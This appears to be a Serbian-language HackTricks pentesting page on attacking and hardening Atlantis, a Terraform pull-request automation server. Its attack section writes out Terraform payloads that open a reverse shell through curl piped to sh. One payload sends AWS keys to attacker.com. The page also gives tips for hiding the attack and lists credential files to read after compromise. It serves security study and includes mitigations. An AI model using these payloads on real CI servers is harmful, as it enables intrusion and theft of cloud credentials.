# Atlantis Security {{#include ../banners/hacktricks-training.md}} ### Basic Information Atlantis u suštini pomaže vam da pokrenete terraform iz Pull Requests sa vašeg git servera. ![](<../images/image (161).png>) ### Local Lab 1. Idite na **atlantis releases page** u [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara. 2. Kreirajte **lični token** (sa pristupom repozitorijumu) vašeg **github** korisnika. 3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantis**. 1. Možete pristupiti web stranici na 127.0.0.1:4141. ### Atlantis Access #### Git Server Credentials **Atlantis** podržava nekoliko git hostova kao što su **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\ Međutim, da bi pristupio repozitorijumima na tim platformama i izvršio akcije, potrebno je da ima određeni **privilegovan pristup** (barem prava za pisanje).\ [**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje kreiranje korisnika na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge. > [!WARNING] > U svakom slučaju, iz perspektive napadača, **Atlantis nalog** će biti veoma **interesantan** **za kompromitovanje**. #### Webhooks Atlantis koristi opcionalno [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhook-ovi** koje prima sa vašeg Git hosta **legitimni**. Jedan način da to potvrdite bio bi da **dozvolite zahteve samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Secret-a. Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete da izložite webhook krajnje tačke internetu. > [!WARNING] > Atlantis će **izlagati webhook-ove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**. #### Provider Credentials [Iz dokumentacije:](https://www.runatlantis.io/docs/provider-credentials.html) Atlantis pokreće Terraform jednostavno **izvršavajući `terraform plan` i `apply`** komande na serveru **na kojem je Atlantis hostovan**. Baš kao kada pokrećete Terraform lokalno, Atlantis treba kredencijale za vaš specifični provajder. Na vama je kako ćete [obezbediti kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantis-u: - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) imaju svoje mehanizme za kredencijale provajdera. Pročitajte njihovu dokumentaciju. - Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup cloud API-ju aplikacijama koje se na njima pokreću, npr: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pretražite "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - Mnogi korisnici postavljaju promenljive okruženja, npr. `AWS_ACCESS_KEY`, gde se Atlantis pokreće. - Drugi kreiraju potrebne konfiguracione datoteke, npr. `~/.aws/credentials`, gde se Atlantis pokreće. - Koristite [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) da dobijete kredencijale provajdera. > [!WARNING] > **Kontejner** u kojem **Atlantis** **radi** će verovatno **sadržati privilegovane kredencijale** za provajdere (AWS, GCP, Github...) koje Atlantis upravlja putem Terraforma. #### Web Page Po defaultu, Atlantis će pokrenuti **web stranicu na portu 4141 na localhost-u**. Ova stranica vam samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava modifikaciju, tako da nije previše korisna). Verovatno je nećete naći izloženu internetu, ali izgleda da po defaultu **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **default**). ### Server Configuration Konfiguracija za `atlantis server` može se specificirati putem komandnih linijskih zastavica, promenljivih okruženja, konfiguracione datoteke ili kombinacije tri. - Možete pronaći [**ovde listu zastavica**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) koje podržava Atlantis server. - Možete pronaći [**ovde kako da transformišete opciju konfiguracije u env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). Vrednosti se **biraju u ovom redosledu**: 1. Zastavice 2. Promenljive okruženja 3. Konfiguraciona datoteka > [!WARNING] > Napomena: u konfiguraciji možete pronaći zanimljive vrednosti kao što su **tokeni i lozinke**. #### Repos Configuration Neke konfiguracije utiču na **kako se upravlja repozitorijumima**. Međutim, moguće je da **svaki repo zahteva različite postavke**, tako da postoje načini da se specificira svaki repo. Ovo je redosled prioriteta: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti za specificiranje kako atlantis treba da tretira repo. Međutim, po defaultu, neki ključevi se ne mogu specificirati ovde bez nekih zastavica koje to omogućavaju. 1. Verovatno je potrebno da bude dozvoljeno zastavicama kao što su `allowed_overrides` ili `allow_custom_workflows`. 2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Možete je proslediti sa zastavicom `--repo-config` i to je yaml koji konfiguriše nove postavke za svaki repo (regexi su podržani). 3. **Default** vrednosti. **PR Protections** Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od nekoga drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spreman za spajanje`** (zaštite grane su prošle) **pre nego što pokrenete apply**. Sa sigurnosnog stanovišta, preporučuje se postavljanje obe opcije. U slučaju da je `allowed_overrides` True, ova podešavanja mogu biti **prepisana u svakom projektu putem datoteke `/atlantis.yml`**. **Scripts** Konfiguracija repozitorijuma može **specificirati skripte** koje će se izvršiti [**pre**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**posle**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) kada se **workflow izvrši.** Ne postoji opcija da se **specificiraju** ove skripte u **repo `/atlantis.yml`** datoteci. **Workflow** U konfiguraciji repozitorijuma (server side config) možete [**specificirati novi podrazumevani workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ili [**kreirati nove prilagođene workflow-e**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Takođe možete **specificirati** koji **repozi** mogu **pristupiti** novim generisanim.\ Zatim, možete dozvoliti **atlantis.yaml** datoteci svakog repozitorijuma da **specificira workflow koji će se koristiti.** > [!CAUTION] > Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, workflow-i se mogu **specificirati** u **`atlantis.yaml`** datoteci svakog repozitorijuma. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da **prepiše workflow** koji će se koristiti.\ > Ovo će u osnovi dati **RCE u Atlantis server svakom korisniku koji može pristupiti tom repozitorijumu**. > > ```yaml > # atlantis.yaml > > version: 3 > projects: > > - dir: . > workflow: custom1 > workflows: > custom1: > plan: > steps: - init - run: my custom plan command > apply: > steps: - run: my custom apply command > ``` **Conftest Policy Checking** Atlantis podržava pokretanje **server-side** [**conftest**](https://www.conftest.dev/) **politika** protiv izlaza plana. Uobičajeni slučajevi korišćenja ovog koraka uključuju: - Odbijanje korišćenja liste modula - Potvrđivanje atributa resursa u trenutku kreiranja - Hvatanje nenamernih brisanja resursa - Sprečavanje sigurnosnih rizika (npr. izlaganje sigurnih portova javnosti) Možete proveriti kako da to konfigurišete u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands [**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantis-a: ```bash # Get help atlantis help # Run terraform plan atlantis plan [options] -- [terraform plan flags] ##Options: ## -d directory ## -p project ## --verbose ## You can also add extra terraform options # Run terraform apply atlantis apply [options] -- [terraform apply flags] ##Options: ## -d directory ## -p project ## -w workspace ## --auto-merge-disabled ## --verbose ## You can also add extra terraform options ``` ### Napadi > [!WARNING] > Ako tokom eksploatacije naiđete na ovu **grešku**: `Error: Error acquiring the state lock` Možete je popraviti pokretanjem: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` #### Atlantis plan RCE - Modifikacija konfiguracije u novom PR-u Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis plan`** (ili možda se automatski izvršava) **moći ćete da RCE unutar Atlantis servera**. Možete to uraditi tako što ćete [**Atlantis učitati spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` **Tajni napad** Možete izvesti ovaj napad čak i na **tajniji način**, prateći ove sugestije: - Umesto da direktno dodate rev shell u terraform datoteku, možete **učitati spoljašnji resurs** koji sadrži rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` - **Umesto** kreiranja **PR za master** da pokrenete Atlantis, **napravite 2 grane** (test1 i test2) i kreirajte **PR od jedne do druge**. Kada završite napad, samo **uklonite PR i grane**. #### Atlantis plan Dump Tajni Možete **dumpovati tajne korišćene od strane terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` #### Atlantis primenjuje RCE - Izmena konfiguracije u novom PR-u Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis apply`, moći ćete da RCE unutar Atlantis servera**. Međutim, obično ćete morati da zaobiđete neke zaštite: - **Mogućnost spajanja**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR moguć za spajanje** (što znači da zaštita grane mora biti zaobiđena). - Proverite potencijalne [**zaštite grane zaobilaženja**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - **Odobreno**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply` - Po defaultu možete zloupotrebiti [**Gitbot token da zaobiđete ovu zaštitu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) Pokretanje **`terraform apply` na malicioznom Terraform fajlu sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ Samo se pobrinite da neki payload poput sledećih završi u `main.tf` fajlu: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { provisioner "local-exec" { command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { provisioner "local-exec" { command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` Sledite **preporukama iz prethodne tehnike** da izvršite ovaj napad na **diskretniji način**. #### Terraform Param Injection Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće u pozadini, možete proslediti komande terraform-u iz atlantis-a komentarišući nešto poput: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` Nešto što možete proći su env varijable koje mogu biti korisne za zaobilaženje nekih zaštita. Proverite terraform env varijable u [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Prilagođeni tok rada Pokretanje **malicious custom build commands** navedenih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\ Ova mogućnost je pomenuta u prethodnom odeljku: > [!CAUTION] > Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, tokovi rada mogu biti **navedeni** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da bi se **zaobišao tok rada** koji će se koristiti. > > Ovo će u osnovi dati **RCE na Atlantis serveru bilo kojem korisniku koji može pristupiti toj repozitoriji**. > > ```yaml > # atlantis.yaml > version: 3 > projects: > - dir: . > workflow: custom1 > workflows: > custom1: > plan: > steps: > - init > - run: my custom plan command > apply: > steps: > - run: my custom apply command > ``` #### Zaobilaženje plan/apply zaštita Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allowed_overrides` _konfigurisana_ sa `apply_requirements`, moguće je da repozitorija **modifikuje plan/apply zaštite da ih zaobiđe**. ```yaml repos: - id: /.*/ apply_requirements: [] ``` #### PR Hijacking Ako neko pošalje **`atlantis plan/apply` komentare na vašim validnim pull zahtevima,** to će uzrokovati da terraform radi kada to ne želite. Štaviše, ako nemate podešeno u **zaštiti grane** da traži da se **ponovo proceni** svaki PR kada se **novi commit pošalje** na njega, neko bi mogao da **napisuje zloćudne konfiguracije** (proverite prethodne scenarije) u terraform konfiguraciji, pokrene `atlantis plan/apply` i dobije RCE. Ovo je **podešavanje** u Github zaštitama grane: ![](<../images/image (216).png>) #### Webhook Secret Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlatis komande** direktno. #### Bitbucket Bitbucket Cloud **ne podržava webhook secrets**. Ovo bi moglo omogućiti napadačima da **lažiraju zahteve iz Bitbucket-a**. Osigurajte da dozvoljavate samo Bitbucket IP adrese. - To znači da bi **napadač** mogao da napravi **lažne zahteve ka Atlantis-u** koji izgledaju kao da dolaze iz Bitbucket-a. - Ako specificirate `--repo-allowlist`, onda bi mogli samo da lažiraju zahteve koji se odnose na te repozitorijume, tako da bi najveća šteta koju bi mogli da naprave bila planiranje/aplikacija na vašim repozitorijumima. - Da biste to sprečili, dozvolite [Bitbucket-ove IP adrese](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese). ### Post-Exploitation Ako ste uspeli da dobijete pristup serveru ili barem ste dobili LFI, postoje neke zanimljive stvari koje biste trebali pokušati da pročitate: - `/home/atlantis/.git-credentials` Sadrži vcs pristupne akreditive - `/atlantis-data/atlantis.db` Sadrži vcs pristupne akreditive sa više informacija - `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stanje datoteke - Primer: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate - `/proc/1/environ` Env varijable - `/proc/[2-20]/cmdline` Cmd linija `atlantis server` (može sadržati osetljive podatke) ### Mitigations #### Don't Use On Public Repos Zato što bilo ko može komentarisati na javnim pull zahtevima, čak i sa svim dostupnim bezbednosnim mitigacijama, i dalje je opasno pokretati Atlantis na javnim repozitorijumima bez pravilne konfiguracije bezbednosnih podešavanja. #### Don't Use `--allow-fork-prs` Ako radite na javnom repozitorijumu (što nije preporučljivo, vidi iznad), ne biste trebali postaviti `--allow-fork-prs` (podrazumevano je false) jer bilo ko može otvoriti pull zahtev iz svog fork-a ka vašem repozitorijumu. #### `--repo-allowlist` Atlantis zahteva da navedete allowlist repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer: - Specifični repozitorijumi: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Cela vaša organizacija: `--repo-allowlist=github.com/runatlantis/*` - Svaki repozitorijum u vašem GitHub Enterprise instalaciji: `--repo-allowlist=github.yourcompany.com/*` - Svi repozitorijumi: `--repo-allowlist=*`. Korisno kada ste u zaštićenoj mreži, ali opasno bez takođe postavljenog webhook secret-a. Ova zastavica osigurava da vaša Atlantis instalacija nije korišćena sa repozitorijumima koje ne kontrolišete. Vidi `atlantis server --help` za više detalja. #### Protect Terraform Planning Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da eksfiltrira vaše akreditive. Da biste to sprečili, mogli biste: 1. Ugraditi provajdere u Atlantis sliku ili hostovati i odbiti izlaz u produkciji. 2. Implementirati protokol za registraciju provajdera interno i odbiti javni izlaz, tako da kontrolišete ko ima pristup za pisanje u registru. 3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira protiv korišćenja zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde. #### Webhook Secrets Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli slati zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na allowlisti. Webhook secrets osiguravaju da webhook zahtevi zaista dolaze od vašeg VCS provajdera (GitHub ili GitLab). Ako koristite Azure DevOps, umesto webhook secret-a dodajte osnovno korisničko ime i lozinku. #### Azure DevOps Basic Authentication Azure DevOps podržava slanje osnovnog autentifikacionog header-a u svim webhook događajima. Ovo zahteva korišćenje HTTPS URL-a za vašu lokaciju webhook-a. #### SSL/HTTPS Ako koristite webhook secrets, ali je vaš saobraćaj preko HTTP-a, onda bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice. #### Enable Authentication on Atlantis Web Server Veoma se preporučuje omogućiti autentifikaciju u web servisu. Omogućite BasicAuth koristeći `--web-basic-auth=true` i postavite korisničko ime i lozinku koristeći `--web-username=yourUsername` i `--web-password=yourPassword` zastavice. Takođe možete proslediti ovo kao varijable okruženja `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` i `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}}